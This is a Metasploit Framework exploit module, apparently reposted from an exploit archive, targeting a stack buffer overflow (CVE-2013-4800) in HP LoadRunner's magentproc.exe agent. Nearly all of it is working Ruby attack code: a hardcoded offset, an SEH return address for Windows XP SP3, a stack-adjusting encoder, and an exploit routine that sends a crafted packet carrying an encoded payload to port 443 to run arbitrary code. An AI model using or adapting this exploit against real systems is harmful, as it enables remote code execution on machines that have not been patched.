HP LoadRunner – ‘magentproc.exe’ Remote Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP LoadRunner magentproc.exe Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HP LoadRunner before 11.52. The vulnerability exists on the LoadRunner Agent Process magentproc.exe. By sending a specially crafted packet, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'Unknown', # Original discovery # From Tenable Network Security 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-4800'], ['OSVDB', '95644'], ['http://www.zerodayinitiative.com/advisories/ZDI-13-169/'] ], 'Privileged' => false, 'DefaultOptions' => { 'SSL' => true, 'SSLVersion' => 'SSL3', 'PrependMigrate' => true }, 'Payload' => { 'Space' => 4096, 'DisableNops' => true, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'DefaultTarget' => 0, 'Targets' => [ [ 'Windows XP SP3 / HP LoadRunner 11.50', { # magentproc.exe 11.50.2042.0 'Offset' => 1104, 'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates 'Crash' => 6000 # Length needed to ensure an exception } ] ], 'DisclosureDate' => 'Jul 27 2013')) register_options([Opt::RPORT(443)], self.class) end def exploit req = [0xffffffff].pack("N") # Fake Length req << rand_text(target['Offset']) req << generate_seh_record(target.ret) req << payload.encoded req << rand_text(target['Crash']) connect print_status("Sending malicious request...") sock.put(req) disconnect end end |